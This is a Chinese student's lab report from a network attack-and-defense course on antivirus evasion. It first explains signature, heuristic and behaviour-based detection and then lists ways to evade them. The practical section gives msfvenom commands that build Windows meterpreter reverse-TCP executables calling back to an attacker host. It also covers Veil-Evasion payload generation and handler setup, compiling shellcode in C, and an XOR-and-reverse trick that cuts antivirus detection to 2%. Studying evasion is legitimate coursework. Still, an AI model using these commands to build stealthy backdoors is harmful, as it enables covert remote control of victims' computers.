2017-2018-2 20179204《網絡攻防實踐》第十二週學習總結 免殺技術

第1節 實踐內容

1.理解免殺技術原理html

2.正確使用msf編碼器,veil-evasion,本身利用shellcode編程等免殺工具或技巧;python

(成功實現了免殺的。如何作成功的簡單語言描述便可,不要截圖、指令。與殺軟共生的結果驗證要截圖。)git

3.經過組合應用各類技術實現惡意代碼免殺;github

4.用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本。shell

第2節 基礎問題

###2.1 殺軟是如何檢測出惡意代碼的?編程

  • 基於特徵碼的檢測

簡單來講一段<font color=green>特徵碼</font>就是一段或多段數據。若是一個可執行文件(或其餘運行的庫、腳本等)包含這樣的數據則被認爲是惡意代碼。windows

<font color=green>AV軟件廠商要作的就是儘可能蒐集最全的、最新的特徵碼庫</font>。因此殺毒軟件的更新很重要。過期的特徵碼庫就是沒有用的庫。數組

  • 基於簽名的檢測技術

基於簽名的檢測技術主要基於模式匹配的思想,<font color=green>爲每種已知惡意代碼產生一個惟一的簽名特徵標記來建立惡意代碼庫</font>。這些簽名包括不少不一樣的屬性,如文件名、內容字符串或字節等,而且也從排除這些惡意代碼所產生安全漏洞的角度來探討保護系統安全。<font color=green>將未知代碼的簽名特徵與惡意代碼庫進行對比</font>,搜索惡意代碼庫查找時候存在相匹配的惡意代碼簽名,如有吻合,則斷定爲惡意代碼;反之則判斷爲正常代碼。這些簽名由專家手工找出或經過自動方法生成,一個簽名提取出來以標誌一個特定惡意代碼的<font color=green>特徵性質</font>。安全

  • 啓發式惡意軟件檢測

這種方法的思想是爲病毒的特徵設定一個<font color=green>閾值</font>,掃描器分析文件時,當文件的總權值超出了設定值,就將其看做是惡意代碼.這種方法主要的技術是要準確的定義相似病毒的特徵,這依靠準確的模擬處理器。評定基於宏病毒的影響更是一個挑戰,他們的結構和可能的執行流程比已經編譯過的可執行文件更難預測。架構

  • 基於行爲的惡意軟件檢測

利用病毒的特有行爲特徵來監測病毒的方法,稱爲行爲監測法。經過對病毒多年的觀察、研究,有一些行爲是<font color=green>惡意代碼的共同行爲,並且比較特殊</font>。當程序運行時,監視其行爲,若是發現了病毒行爲,當即報警。缺點是誤報率比較高、不能識別病毒名稱及類型、實現時有必定難度。

###2.2 免殺是作什麼? 免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文爲Anti-AntiVirus(簡寫Virus AV),逐字翻譯爲「反-反病毒」,翻譯爲「反殺毒技術」。是一種能使病毒木馬避免被殺毒軟件查殺的技術。

###2.3 免殺的基本方法有哪些?

  • 方法一:直接修改特徵碼的十六進制法

    1.修改方法:把特徵碼所對應的十六進制改爲數字差1或差很少的十六進制。
    	2.適用範圍:必定要精肯定位特徵碼所對應的十六進制,修改後必定要測試一下可否正常使用。
  • 方法二:修改字符串大小寫法

    1.修改方法:把特徵碼所對應的內容是字符串的,只要把大小字互換一下就能夠了。
    	2.適用範圍:特徵碼所對應的內容必需是字符串,不然不能成功。
  • 方法三:等價替換法

    1.修改方法:把特徵碼所對應的彙編指令命令中替換成功能類擬的指令。
    	2.適用範圍:特徵碼中必需有能夠替換的彙編指令.好比JN,JNE 換成JMP等。
  • 方法四:指令順序調換法

    1.修改方法:把具備特徵碼的代碼順序互換一下。
    	2.適用範圍:具備必定的侷限性,代碼互換後要不能影響程序的正常執行。
  • 方法五:通用跳轉法

    1.修改方法:把特徵碼移到零區域(指代碼的空隙處),而後一個JMP又跳回來執行。
    	2.適用範圍:沒有什麼條件,是通用的改法,強烈建議你們要掌握這種改法。
  • 文件免殺方法:

    1.加冷門殼
    	2.加花指令
    	3.改程序入口點
    	4.改木馬文件特徵碼的5種經常使用方法
    	5.還有其它的幾種免殺修改技巧
  • 內存免殺方法:

    1.直接修改特徵碼的十六進制法
    	2.修改字符串大小寫法
    	3.等價替換法
    	4.指令順序調換法
    	5.通用跳轉法

第3節 實踐過程記錄

###3.1 msfvenom直接生成meterpreter可執行文件 windows ip:172.30.2.183 kali ip:172.30.1.150 Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具,msfvenom命令行選項以下:

-p,指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用'-'或者stdin指定。  
  -f,指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)  
  -e,指定須要使用的encoder(編碼器)  
  -a,指定payload的目標架構,指定payload的目標平臺  
  -b,設定規避字符集,好比: '\x00\xff'  
  -i,指定payload的編碼次數  
  -x,指定一個自定義的可執行文件做爲模板
  • 根據攻擊機的IP用msfvenom直接生成meterpreter可執行文件:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f exe > Rebrust-2.exe

  • 將其複製到Windows桌面,一開始防火牆會自動隔離,關閉防火牆容許該文件,將文件傳至網站:www.virscan.org進行檢測,檢測結果以下: 40%的殺毒軟件報告發現病毒。

經過上面的實驗能夠看出如今編碼的方式沒有免殺的功能,仍是要變換方式進行免殺的改造。

  • upx加殼後測試下降到37%。 ###3.2 用Veil-Evasion生成可執行文件

  • kali本來沒有veil-evasion ,因此首先進行安裝:sudo apt-get install veil-evasion 屢次嘗試均安裝失敗。

  • 參考csdn博客免殺後門之MSF&Veil-Evasion的完美結合Kali 2.0教程:如何安裝Veil-Evasion,直接從 github 上進行clone下載git clone https://www.github.com/Veil-Framework/Veil-Evasion.git

  • 歷經種種曲折,終於安裝成功:

  • 使用命令Veil-Evation,打開Veil-Evation,按照menu提示進行相關操做。

  • 成功進入到菜單界面,能夠看到當前一共有 51 種 payload 可用!咱們可使用 list 命令來查看 payload 的詳細信息。根據 payload 編號,這裏我選擇7號的c/meterpreter/rev_tcp_service.py進行演示。

  • menu下依次輸入語言、ip、端口號以及文件名等:

    set LHOST 192.168.199.198
    	set LPORT 443
    	generate
    	gege

  • 進入生成文件的路徑。將生成的文件gege.exe複製到主機,上傳網站:www.virscan.org進行檢測。結果: 15%的殺毒軟件報告發現病毒。
  • 回連測試語句:msfconsole -r /usr/share/veil-output/handlers/gege_handler.rc

或採用Kali-利用metasploit中的exploit/multi/handler進行攻擊

參考使用veil-evasion打造免殺payload ###3.3 使用c語言調用shellcode

  • kali下使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f c
  • 把生成的代碼從虛擬機中複製出來,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0進行編譯運行生成可執行文件。
  • 檢測結果以下: 7%的殺毒軟件報告發現病毒。

第4節 實驗總結與體會

不拋棄不放棄~

第5節 遇到的問題與解決過程

veil-evasion安裝較爲複雜,參考了兩篇文檔免殺後門之MSF&Veil-Evasion的完美結合Kali 2.0教程:如何安裝Veil-Evasion

第6節 離實戰還缺什麼技術或步驟?

能夠嘗試對原shellcode異或0x01,異或以後再對字符串數組進行倒置操做,而後在代碼中須要先進行倒置,即恢復本來異或01後的字符串數組,再異或01,能夠返回本來的shellcode,但願經過修改shellcode本來的樣子,下降其經過特徵庫查殺的機率,能夠和殺軟共存實現免殺,放到virscan上也只有2%的報毒率。

相關文章
相關標籤/搜索